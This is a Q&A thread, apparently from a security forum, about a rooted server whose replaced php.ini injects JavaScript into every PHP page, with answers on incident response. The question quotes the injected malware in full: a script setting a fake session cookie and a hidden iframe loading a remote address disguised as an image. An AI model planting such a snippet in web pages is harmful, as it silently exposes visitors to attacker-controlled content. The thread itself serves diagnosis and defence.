Question: UPDATE: The server was rooted, php.ini was replaced that cause the injection to appear. Still haven't figured out which directive is injecting the javascript.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

```
<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

```

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. 
Server running PHP 5.2.17 and Apache 2.2.17.

Answer: 
It may not be a good use of your time to try to work out exactly how the malicious stuff on your site works. It's hard to be confident you've found it all.

Instead, the standard advice is to reformat and re-install from trusted backups that date back before the intrusion. There is a lot more to be said about this. Rather than repeating what others have written, I will direct you to the question ["what to do after suspected intrusion on hobby webserver"](https://security.stackexchange.com/q/2939/971), which covers this topic pretty well.
(I'm assuming at this stage that you are using an offline VM image for analysis and the server is switched off)

It's possible that this could be implemented at several layers - the php script, the php config, the apache binary, or even the kernel. 

The obvious place to start looking is in the PHP scripts. If there's nothing there, then the next step would be to check for auto-prepends in the httpd config. Assuming that is clean, and you don't see the same behaviour with .html files I'd try switching the file type association for php files in the httpd config. If the problem still occurs then the .js is being injected by the PHP handler within Apache (but not specifically by PHP itself).

Note that understanding how the injection is implemented will likely be of little benefit in understanding how the code to implement it was deployed - i.r. how to protect your server against the attack.

You didn't say if this is mod\_php, cgi or fcgi - which has some bearing.

You also didn't mention what OS this is running on, nor whether there are backups. 

This would have been useful as most Linux package managers provide (usually a fairly crude) file signature checking mechanism. And if you've got old backups you could see if you can find the latest one which doesn't exhibit the injection and compare the files with the first one which does exhibit the injection.